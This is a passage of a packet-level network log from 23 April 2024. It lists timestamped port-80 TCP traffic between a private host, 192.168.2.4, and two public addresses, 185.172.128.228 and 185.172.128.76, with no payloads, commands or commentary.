Apr 23, 2024 09:38:11.194433928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194451094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194458008 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194467068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194475889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194475889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194483042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194499016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194514990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194530010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194545984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194561958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194562912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194562912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194576025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194578886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194982052 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.228703022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.266482115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266709089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266726017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266741991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266757011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266772985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266789913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266804934 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266812086 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.266820908 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266838074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266854048 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266869068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266884089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266896963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.266901016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266917944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266932964 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266943932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.266943932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.266948938 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266964912 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266978025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.266980886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.266998053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267011881 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267013073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267029047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267040968 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267045021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267060041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267072916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267076015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267098904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267115116 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267127991 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267129898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267146111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267160892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267167091 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267167091 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267175913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267191887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267199039 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267208099 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267224073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267240047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267254114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267256975 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267256975 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267270088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267287016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267309904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267327070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267327070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267327070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267343998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267359972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267375946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267390966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267405987 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267409086 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267409086 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267421007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267436028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267436981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267452955 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267463923 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267468929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267486095 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.267498016 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.267546892 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.312611103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.312633991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.312652111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.312736034 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.330657959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.330677032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.330694914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.330712080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.330729961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.330745935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.330758095 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.330763102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.330782890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.330794096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.330801010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.330804110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.330817938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.330832958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.330859900 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.330859900 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.358380079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.381485939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381508112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381526947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381544113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381561041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381577015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381593943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381609917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381627083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381630898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.381644011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381660938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381678104 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381680012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.381694078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.381695032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381712914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381728888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381742001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.381742001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.381746054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381762981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381774902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.381783009 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381799936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381802082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.381813049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.381818056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381831884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.381835938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.381844997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.381859064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.381872892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.398911953 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.398933887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.398950100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.398966074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.398976088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.398993015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399008989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399024963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399041891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399058104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399074078 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399090052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399106026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399122000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399139881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399157047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399158955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399158955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399173021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399188995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399199963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399207115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399223089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399225950 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399225950 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399239063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399255037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399266005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399271011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399296045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399298906 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399311066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399327040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399343967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399354935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399360895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399372101 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399377108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399394035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399404049 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399410009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399426937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399444103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399457932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399457932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399461031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399477959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399494886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399506092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399512053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399528027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399544954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399560928 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399560928 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399561882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399578094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399591923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399607897 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399607897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399624109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399626017 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399641037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399657965 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399667025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399674892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399691105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399708033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399722099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399722099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399724007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399739981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399758101 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399774075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399790049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399790049 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399790049 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399806023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399822950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399838924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399854898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399857998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399857998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399871111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399885893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399903059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399916887 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399916887 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399919033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399935007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399950027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399966002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399982929 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399982929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.399982929 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.399998903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400013924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400031090 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400044918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400044918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400048018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400064945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400080919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400098085 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400108099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400108099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400124073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400140047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400156975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400172949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400182009 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400188923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400201082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400206089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400222063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400232077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400243044 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400259018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400274992 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400291920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400291920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400291920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400307894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400325060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400333881 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400341034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400357008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400372982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400388956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400391102 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400391102 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400404930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400418997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400420904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400438070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400454998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400465965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400471926 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400487900 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400505066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400507927 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400521994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400531054 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400538921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400554895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400557041 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400572062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400588036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400599957 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400604010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400619984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400635958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400646925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400651932 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400669098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400684118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400686979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400686979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400701046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400717020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400732994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400743961 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400748968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400753975 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400765896 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400782108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400794983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400799036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400814056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400830984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400846958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400846958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400856972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400872946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400892973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400893927 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400909901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400926113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400943041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400958061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400964022 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400974989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.400991917 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.400991917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401007891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401025057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401027918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401027918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401042938 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401058912 CEST	80	49735	185.172.128.228	192.168.2.4
